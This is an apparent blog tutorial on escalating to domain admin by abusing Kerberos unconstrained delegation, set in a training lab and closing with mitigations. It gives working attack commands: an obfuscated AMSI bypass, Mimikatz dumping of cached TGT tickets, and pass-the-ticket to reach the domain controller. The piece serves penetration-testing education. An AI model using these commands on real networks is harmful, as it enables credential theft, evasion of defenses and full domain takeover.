ACTIVE DIRECTORY — PRIVILEGE ESCALATION

Attacking Kerberos Unconstrained Delegation

Trust this user/computer for delegation to any service

Credits to marcoventuriniautieri

Delegation is the act of giving someone authority or responsibility to do something on behalf of someone else. A similar concept is applied in the Active Directory environment; delegation allows an account with the delegate property to impersonate another account to access resources within the network.

There are three (3) known types of delegations allowed with Kerberos: Unconstrained, Constrained, and Resource-based constrained delegations. For this post, we will focus on abusing the first type — Unconstrained delegation, and learn how to abuse it to gain privilege escalation (domain admin😈 ).

The attack demonstration steps will be on the Pentester Academy Active Directory Lab by Nikhil Mittal associated with the CRTP course.

📝KEY CONCEPTS

• Unconstrained Delegation Overview
• Analysis Flow
• Attack Requirements
• Escalation Vectors
• Used Tools
• Demonstration Steps
• Mitigation
• References

$_Unconstrained_Delegation_Overview

Unconstrained delegation allows a user or computer with the option “Trust This user/computer for delegation to any service” enabled to impersonate ANY user authenticates to it and request access to ANY service.

Figure 1 — shows the configuration of Unconstrained Delegation for a computer

Figure 2 — shows the configuration of Unconstrained Delegation for a user

To understand it better, let’s take an example of a user authenticating to a web server and wanting to request data from a database server that is hosted on a different server. Without delegation, the web server doesn’t have permission to request the data directly.

Figure 3— shows the delegation option is disabled on the web server

However, if the delegation is enabled, the web server can impersonate the authenticated user and forward their credentials to fetch the requested information from the database as if it was the user authenticating directly to the service.

Figure 4 — shows the delegation option is enabled on the web server

Impact

An attacker can dump the TGT tickets of all the authenticated accounts from the Unconstrained Delegation server. If one of these authenticated accounts happens to be for a domain admin, the attacker can impersonate them to access any services within the forest with domain admin privileges 🎲

$_Analysis_Flow

Let’s jump into the delegation flow with the Kerberos Authentication:

1- A user authenticates to the KDC (Kerberos Domain Controller) by sending an encrypted request with their credentials. The KDC verifies their identity, and sends the user a TGT ticket.

2- The user receives the TGT ticket and sends it back to the KDC, requesting a service ticket for a specific service, let’s say a web service. The KDC checks the TGT validity and sends back the service ticket (TGS) for the requested service.

3- At this point, the user can use the service ticket (TGS) to access the requested web service. However, if the requested service like the web service in our example needs to access another service like SQL, the user must obtain a Forwardable TGT ticket to pass it to the web service along with the TGS ticket.

Figure 5 — shows the user sending the forwardable TGT and TGS to the web server

5- The web server caches the user’s Forwardable TGT locally and uses it to request a TGS ticket from the KDC to access the SQL service on behalf of the user.

Figure 6 — shows the web server impersonates the user with the forwardable TGT and ask for a SQL TGS

6- The KDC verifies the presented TGT and provides the webserver with the SQL TGS to access the SQL server as the user.

Figure 7— shows the web server accesses the SQL server with the SQL TGS

🚩_$_Attack_Requirements

• A domain computer with the delegation option “Trust This computer for delegation to any service” enabled.
• Local admin privileges on the delegated computer to dump the TGT tickets. If you compromised the server as a regular user, you would need to escalate to abuse this delegation feature.

🎯 _$_Escalation_Vectors

• Vertically, escalate privileges to a higher privileged user like Domain Admin.
• Horizontally, obtain privileges to another user who has access to different resources within the network not accessible to the original compromised account.

🔧_$_Used _Tools

• Invoke-Mimikatz
• PowerView
• Active Directory Module

🔥_$_Attack_Demonstration

◼️ Identify The Delegated Host

We can use the PoweView script from PowerSploit or the AD module to determine if the delegation option is enabled by examining the Trusted delegation property value set as True.

For the PowerView, use the Get-NetComputer -UnConstrained command.

Figure 8 — shows the PowerView command for returning unconstrained delegation accounts

And for the AD Module, use the Get-ADComputer cmdlet and filter for the TrustedForDelegation property.

Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties trustedfordelegation,serviceprincipalname,description

As we see in the below example, the command returned 2 (two) computers the domain controller (DCORP-DC) and the app server (DCORP-APPSRV).

Figure 9 — shows the AD module returned the computers that have TrustedForDelegation property set as True

◼️ Access The Identified Server

This step assumes that you have access to the delegated machine as an admin. In my access, I compromised the machine by using the appadmin hash obtained while dumping the hashes on another machine. I then used overpass the hash to access the dcorp-appsrv server as the appadmin user.

Figure 10 — shows overpass the hash with the appadmin account

Figure 11 — shows we have PS remoting session on the dcorp-appsrv machine as appadmin

◼️ Export All TGT Tickets

Since we are the local admin on the delegated machine, I uploaded the Invoke-Mimkatz script with PS Remoting (the machine has WinRM Service open), and dumped all of the cached TGT tickets.

▪️ Create PS session

$session = New-PSSession -Computer ComputerNAEM

Copy the Invoke-Mimikatz file to the remote machine. You will need to bypass AMSI to use it.

sET-ItEM ( ‘V’+’aR’ + ‘IA’ + ‘blE:1q2’ + ‘uZx’ ) ( [TYpE]( “{1}{0}”-F’F’,’rE’ ) ) ; ( GeT-VariaBle ( “1Q2U” +”zX” ) -VaL ).”A`ss`Embly”.”GET`TY`Pe”(( “{6}{3}{1}{4}{2}{0}{5}” -f’Util’,’A’,’Amsi’,’.Management.’,’utomation.’,’s’,’System’ ) ).”g`etf`iElD”( ( “{0}{2}{1}” -f’amsi’,’d’,’InitFaile’ ),( “{2}{4}{0}{1}{3}” -f ‘Stat’,’i’,’NonPubli’,’c’,’c,’ )).”sE`T`VaLUE”( ${n`ULl},${t`RuE} )

Figure 12– shows coping the Mimikatz script to the remote dcorp-appsrv machine

▪️ Import the script and export all the cached tickets.

Import-Module .\Invoke-Mimikatz.ps1
Invoke-Mimikatz –Command '"sekurlsa::tickets /export"'

Figure 13 —shows exporting all of the cached TGT tickets

As we see below, we were able to get the domain admin TGT because the DA logged into the dcorp-appsrv machine, and since the delegated machine caches all the TGTs, we could dump the ticket.

Figure 14 — shows the Administrator TGT ticket

◼️ Impersonate High Privileged User

Now that we have the TGT ticket for the domain admin, we can use Invoke-Mimikatz or Rubeus to request service tickets from the KDC to any service with DA privileges.

For our case, I used Mimikatz to impersonate the administrator.

Invoke-Mimikatz -Command ‘“kerberos::ptt Ticket.kirbi”’

Figure 15 -shows impersonating the administrator with Mimikatz

As seen below, the KDC accepted the TGT ticket from us and was able to request an HTTP service ticket to run PowerShell remotely with the Invoke-Command cmdlet.

📌 PS Remoting uses HTTP as the protocol for transmitting commands and outputs.

Figure 16 — shows the KDC returns a TGS for HTTP service

We can use Invoke-command and verify that we are indeed logged into the domain controller 😈

Invoke-Command -ScriptBlock{whoami;hostname} -computername dcorp-dc

Figure 17— shows that we are logged into the domain controller as domain admin

👮Mitigation

• Configuring the privileged accounts to Account is sensitive and cannot be delegated within the Active Directory.
• Assign privileged accounts like domain administrator or enterprise administrator to the Protected Users security group.
• Configure the delegation to be restricted to specific services accessed from particular hosts.

That’s all for today; we learned about unconstrained delegation and how to abuse it in an Active Directory environment to gain domain admin privileges. In the following article, we will go over constrained delegations.

Thanks for reading !!

🔔 All of the used commands can be found at R3d-Buck3T — (Active Directory — Privilege Escalation — Unconstrained Delegation)

📚$_Refereces

Compromising a Domain With the Help of a Spooler

Weakness Within: Kerberos Delegation

Active Directory Security Risk #101: Kerberos Unconstrained Delegation (or How Compromise of a…

Unconstrained Delegation

"Relaying" Kerberos - Having fun with unconstrained delegation

Kerberos Delegation

Unconstrained Delegation Permissions